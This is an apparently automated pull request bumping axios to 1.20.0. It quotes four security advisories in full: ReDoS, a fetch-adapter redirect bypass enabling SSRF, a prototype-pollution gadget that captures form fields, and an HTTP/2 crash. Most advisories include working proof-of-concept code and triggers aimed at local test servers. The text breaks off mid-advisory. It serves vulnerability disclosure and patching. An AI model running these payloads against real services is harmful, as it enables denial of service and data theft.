NOTE
This PR body was truncated due to platform limits.
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| axios (source) | 1.19.0 → 1.20.0 |
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
CVE-2026-101903 / GHSA-c29m-xwm3-cm6r
More information
Details
Summary
Axios for Node.js parses data: URLs in lib/helpers/fromDataURI.js. The current RFC-2397 parser uses a regular expression whose media type groups allow / inside both sides of the type/subtype match. A malformed data: URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.
Applications are affected when they pass untrusted URL strings to axios and do not reject or constrain data: URLs before axios parses them.
Impact
An attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls axios.get(url), this can block unrelated requests and health checks until parsing completes.
The issue is availability-only. It does not disclose data or modify requests.
Affected Functionality
Affected:
- Node.js HTTP adapter data URL handling.
axios.get()or equivalent calls whereconfig.urlhas thedata:protocol.
Not affected:
- Browser fetch/XHR URL handling.
- Node requests where the application rejects
data:URLs before calling axios. - Older checked
0.xdata URL parser shape unless separately proven vulnerable.
Technical Details
lib/helpers/fromDataURI.js contains:
const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;The [^,;]+ groups include /, so a long string of slashes without a comma can be partitioned around the required \/ in many ways before the match fails. The match runs before axios can apply request timeout behavior, so timeout does not mitigate the parsing pause.
Local timing on axios 1.18.1 with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.
Proof of Concept of Attack
Constrained helper-level demonstration:
import axios from 'axios';
await axios.get('data:' + '/'.repeat(6000));The request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.
Workarounds
Reject data: URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need data: URL support should deny that protocol explicitly.
Original report
ReDoS in fromDataURI data: URL parser freezes the event loop (DoS)
Affected
- Package:
axios(Node.js http adapter) - Versions: 1.x (regex present on
v1.x, current release line) - File:
lib/helpers/fromDataURI.js - CWE-1333 (Inefficient Regular Expression Complexity)
Issue
fromDataURI parses data: URLs with this regex:
// lib/helpers/fromDataURI.js:9
const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;The mediatype tokens [^,;]+ include /, so they can span multiple slashes ambiguously. A data: URL made of many slashes with no comma forces the engine to try every way to place the single \/ divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (axios.get(url)); the browser fetch/xhr adapters are not affected because they do not call fromDataURI.
A configured timeout does not help: the freeze happens during parsing, before any network timer can fire.
PoC (minimal)
import axios from 'axios';
// ~256 KB data: URL of pure slashes, no comma
await axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throwsLab results
Single-threaded "fetch a user-supplied URL" service (link-preview style) calling axios.get on a JSON body { "url": "..." }, with timeout: 1000 set.
Scaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes):
| data: URL size | Event-loop freeze (one request) |
|---|---|
| 32 KB | 6.3 s (measured end-to-end; server logged event loop BLOCKED for 6.30s) |
| 64 KB | ~24 s |
| 128 KB | ~96 s |
| 256 KB | ~385 s (~6.4 min) |
| 1 MB | ~100 min |
During the freeze the server answers nothing: a /healthz liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it.
The attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable.
Impact
Unauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely.
CVSS 3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
Fix
RFC 2045 type/subtype tokens never contain /. Excluding / from those two character classes removes the ambiguity and the backtracking:
const DATA_URL_PATTERN = /^([^,;/]+\/[^,;/]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;Worst-case parse drops from ~2600 ms to ~0.002 ms. All valid data: URLs, including slashes in the body, parse identically.
Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/axios/axios/security/advisories/GHSA-c29m-xwm3-cm6r
- https://nvd.nist.gov/vuln/detail/CVE-2026-101903
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios/releases/tag/v1.20.0
- https://github.com/advisories/GHSA-c29m-xwm3-cm6r
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
CVE-2026-101907 / GHSA-r4gj-5m52-g5wh
More information
Details
Summary
Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.
Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.
Impact
An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.
This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.
Affected Functionality
Affected:
adapter: 'fetch'.- Runtime environments where fetch is selected by adapter resolution.
- Requests configured with
maxRedirects: 0but withoutfetchOptions.redirect: 'manual'or equivalent runtime-specific redirect control.
Not affected:
- Node HTTP adapter, which enforces
maxRedirects: 0. - Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details
lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};Because redirect is absent, the Fetch API default is to follow redirects.
Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.
Proof of Concept of Attack
Constrained local demonstration:
- Start server A that returns
302 Location: http://127.0.0.1:<server-b>/internal. - Start server B that returns
INTERNAL. - Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNALWorkarounds
For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.
Original report
Summary
Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.
In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.
This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.
Details
The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:
let {
url, method, data, signal, cancelToken, timeout,
onDownloadProgress, onUploadProgress, responseType,
headers, withCredentials, fetchOptions,
maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extractedThe options object passed to fetch() has no redirect key:
const resolvedOptions = {
...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.
The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
The behaviour difference between adapters is summarised below:
| Behaviour | HTTP adapter | Fetch adapter |
|---|---|---|
Reads config.maxRedirects | Yes | No |
Enforces maxRedirects: 0 | Yes -- throws on any redirect | No -- follows silently |
Strips Authorization cross-origin | Yes (follow-redirects >=1.15.8) | Runtime-dependent |
Strips Cookie cross-origin | Yes | Runtime-dependent |
When is the fetch adapter selected?
- Deno, Bun, Cloudflare Workers: no Node.js
httpmodule available; the adapter list falls through to'fetch' - Explicit config:
axios.get(url, { adapter: 'fetch' }) - Custom adapter list:
axios.create({ adapter: ['fetch'] })
PoC
import http from 'http';
import axios from './index.js';
// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all([
new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);
const targetUrl = 'http://127.0.0.1:13801/api/data';
const changeUrl = 'http://127.0.0.1:13801/api/change-config';
const internalUrl = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';
console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(` redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(` redirects to ${internalCfg}`);
console.log('');
// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown');
} catch (err) {
httpBlocked = true;
console.log(`[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL] Internal hits after HTTP adapter: ${internalHits}`);
// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗');
console.log(' Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS] Internal hits after fetch adapter: ${internalHits}`);
// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data));
console.log(`[BYPASS] Internal hits after state change: ${internalHits}`);
} catch (err) {
console.log('[BYPASS] State change request blocked (unexpected):', err.message);
}
console.log('');
if (httpBlocked && fetchResponse && changedResponse) {
console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
console.log(' reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
console.log(' reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}
serverA.close();
serverB.close();Run:
node poc-max-redirects.mjsObserved:
Axios maxRedirects bypass via fetch adapter PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
redirects to http://127.0.0.1:13802/internal/secrets
Change URL=http://127.0.0.1:13801/api/change-config
redirects to http://127.0.0.1:13802/internal/admin/config
[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL] Internal hits after HTTP adapter: 0
[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗
Response: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[BYPASS] Internal hits after fetch adapter: 1
[BYPASS] Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}}
[BYPASS] Internal hits after state change: 2
POC RESULT: fetch adapter followed redirects despite maxRedirects:0,
reaching internal service and mutating internal state.Control
Axios does correctly enforce maxRedirects: 0 in the HTTP adapter. The [CONTROL] case above confirms this: the same request with adapter: 'http' throws rather than following the redirect, and the internal hit counter stays at 0:
[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL] Internal hits after HTTP adapter: 0The issue is not that maxRedirects is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no redirect constraint to the underlying fetch() call.
Impact
This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.
The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that maxRedirects: 0 is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.
The impact is environment- and configuration-dependent. It affects axios users who:
- Set
maxRedirects: 0as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration
In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that maxRedirects was not honoured. The failure is silent: no error is thrown, no warning is logged.
The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.
Potentially affected environments include:
- Deno and Bun applications using axios where the fetch adapter is the default.
- Cloudflare Workers using axios, which has no Node.js
httpmodule. - Node.js applications that explicitly configure
adapter: 'fetch'or a custom adapter list that resolves to fetch. - Any application that conditionally sets
maxRedirects: 0and runs across multiple environments with different adapter selection.
Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass.
This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.
Severity
- CVSS Score: 7.0 / 10 (High)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
References
- https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh
- https://nvd.nist.gov/vuln/detail/CVE-2026-101907
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios/releases/tag/v1.20.0
- https://github.com/advisories/GHSA-r4gj-5m52-g5wh
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: Prototype Pollution Gadget in axios toFormData Options
CVE-2026-101909 / GHSA-x97p-jq2g-jp4f
More information
Details
Summary
Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.
Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.
Impact
The impact depends on which property is polluted and which axios serialization path the application uses.
Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.
Affected Functionality
Affected:
axios.toFormData().transformRequestpaths that serialize plain objects tomultipart/form-data.- URL-encoded form serialization paths that rely on the same helper.
formSerializeroption defaults when the relevant properties are absent as own properties.
Not affected:
- JSON request bodies.
- Requests that do not invoke
toFormData(). - Processes where
Object.prototypeis not polluted.
Technical Details
lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:
{
metaTokens: true,
dots: false,
indexes: false
}That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:
const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;These reads can resolve inherited polluted properties.
Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.maxDepth = 1;
await axios.post(url, { a: { b: { c: 'value' } } }, {
headers: { 'Content-Type': 'multipart/form-data' }
});Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.
For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.
Workarounds
Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.
Original report
Summary
axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.
The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.
Details
Root Cause
The attack chain has three steps:
Step 1: formSerializer is read safely, but undefined flows through
In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp:
const formSerializer = own(this, 'formSerializer');When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData():
return toFormData(data, _FormData && new _FormData(), formSerializer);
// ^^^^^^^^^^^^ undefinedStep 2: toFlatObject returns a plain-object default
Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject():
options = utils.toFlatObject(
options, // undefined
{ metaTokens: true, dots: false, indexes: false }, // plain object literal
false,
function defined(option, source) {
return !utils.isUndefined(source[option]);
}
);toFlatObject has an early-return for null/undefined sources:
// lib/utils.js:607
if (sourceObj == null) return destObj;Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.
Step 3: Options are read without hasOwnProp guards
The six option properties are read directly from the plain object:
const metaTokens = options.metaTokens; // line 117
const visitor = options.visitor || defaultVisitor; // line 119
const dots = options.dots; // line 120
const indexes = options.indexes; // line 121
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122
const maxDepth = options.maxDepth === undefined // line 123
? DEFAULT_FORM_DATA_MAX_DEPTH
: options.maxDepth;None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.
Why the Existing Defenses Didn't Catch This
axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.
PoC
Reproduction Steps
Environment
Any environment with Node.js and npm. Tested on: - Node.js v24.15.0, npm 11.13.0 - axios v1.18.1 (latest release at time of writing)
Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1Step 2: Create the PoC file
Create poc.mjs with the following content:
import axios from 'axios';
import http from 'http';
// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
stolen.push({ key, value });
return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;
const server = http.createServer((req, res) => {
res.writeHead(200);
res.end('{}');
});
server.listen(0, '127.0.0.1', async () => {
const { port } = server.address();
try {
// Exfiltration: visitor intercepts all form fields
await axios.post(`http://127.0.0.1:${port}/`, {
username: 'john',
password: 'SuperSecret123!',
profile: { ssn: '123-45-6789' }
}, { headers: { 'Content-Type': 'multipart/form-data' } });
console.log('Stolen:', stolen);
// Stolen: [
// { key: 'username', value: 'john' },
// { key: 'password', value: 'SuperSecret123!' },
// { key: 'profile', value: { ssn: '123-45-6789' } },
// { key: 'ssn', value: '123-45-6789' }
// ]
// DoS: nested object rejected by polluted maxDepth
await axios.post(`http://127.0.0.1:${port}/`,
{ a: { b: { c: { d: 'value' } } } },
{ headers: { 'Content-Type': 'multipart/form-data' } }
);
// Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
// "Object is too deeply nested (3 levels). Max depth: 2"
} finally {
delete Object.prototype.visitor;
delete Object.prototype.maxDepth;
server.close();
}
});Step 3: Run the PoC
node poc.mjsImpact
1. Data Exfiltration via visitor (Confidentiality: High)
A polluted Object.prototype.visitor function is called as the form data visitor:
visitor.call(formData, el, key, path, exposedHelpers)The attacker receives:
- value — the raw value being serialized (passwords, tokens, PII, API keys)
- key — the field name
- path — the full path array (e.g., ['profile', 'address', 'street'])
- exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable
By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.
2. Denial of Service via maxDepth (Availability: Low)
A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.
3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)
Polluting these options changes the serialization format of form field names:
- dots: true — changes bracket notation (user[name]) to dot notation (user.name)
- indexes: true — changes array serialization (items[]) to indexed (items[0], items[1])
- metaTokens: false — changes obj{} keys to raw json strings
The server may misinterpret the submitted form data, leading to silent data corruption.
Severity
- CVSS Score: 8.3 / 10 (High)
- Vector String:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
References
- https://github.com/axios/axios/security/advisories/GHSA-x97p-jq2g-jp4f
- https://nvd.nist.gov/vuln/detail/CVE-2026-101909
- https://github.com/axios/axios/pull/11141
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- https://github.com/axios/axios/commit/d29be181f85f6fe93397a07b1f69606d9622637b
- https://github.com/axios/axios/releases/tag/v0.34.0
- https://github.com/axios/axios/releases/tag/v1.20.0
- https://github.com/advisories/GHSA-x97p-jq2g-jp4f
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization
CVE-2026-101901 / GHSA-542g-h47m-68v8
More information
Details
Summary
Axios versions with Node.js HTTP/2 support can terminate the caller’s process when a ClientHttp2Session emits an error event that is not handled by axios.
This affects applications that use the Node HTTP adapter with httpVersion: 2. A malicious, unavailable, or non-HTTP/2 endpoint can cause an uncaught exception instead of a normal rejected axios request.
Impact
The impact is denial of service. In affected applications, an attacker who can influence the request destination, or operate the destination server, may be able to crash the Node.js process.
This does not affect default HTTP/1.1 usage, browser XHR/fetch adapters, or applications that do not enable axios HTTP/2 support.
Affected Functionality
Affected path:
- Node.js HTTP adapter
- httpVersion: 2
- HTTP/2 session creation/reuse through Http2Sessions
- Network/session failures emitted as ClientHttp2Session error events
Caller-controlled http2Options can make the issue easier to trigger, but passing arbitrary attacker input into axios config is caller-controlled behavior and should not be the primary advisory framing.
Technical Details
Http2Sessions.getSession() creates a session with http2.connect(authority, options) but only registers a close handler. It does not register an error handler on the returned ClientHttp2Session.
When the session emits error, Node treats it as an unhandled EventEmitter error and throws. This can bypass the normal axios Promise rejection path and terminate the process.
Proof of Concept of Attack
import axios from './index.js';
await axios.get('http://127.0.0.1:1/', {
httpVersion: 2,
timeout: 1000
});Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.
Workarounds
Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.
Original report
Hi, i'm RelunSec a security researcher working with InsiteTech.jp
i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server
const http = require('http');
// Import the local axios version to ensure the patch is active
const axios = require('../../lib/axios.js').default;
const url = require('url');
// A public HTTP/2 server to make internal requests to.
// This simulates an external service your application might interact with over HTTP/2.
const TARGET_URL = 'https://nghttp2.org/';
const PORT = 3000;
const server = http.createServer(async (req, res) => {
const parsedUrl = url.parse(req.url, true);
const http2optionId = parsedUrl.query.http2optionId;
if (!http2optionId) {
console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n');
return;
}
console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);
// Create an Axios instance configured for HTTP/2
// The 'id' in http2Options makes each session configuration unique.
const axiosInstance = axios.create({
baseURL: TARGET_URL,
httpVersion: 2,
http2Options: {
// rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert
id: http2optionId, // This is the attacker-controlled unique part
},
// Adding a short timeout to prevent attacker from waiting too long if target is slow
timeout: 5000
});
try {
const response = await axiosInstance.get('/');
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`);
} catch (error) {
// Check for the specific error indicating session limit reached
if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
} else {
console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);
}
}
});
server.listen(PORT, () => {
console.log(`PoC Server listening on http://localhost:${PORT}`);
console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);
console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);
console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);
});i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do
relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi
curl: (52) Empty reply from serverthat is extremly simple to trigger
it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash
Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String:
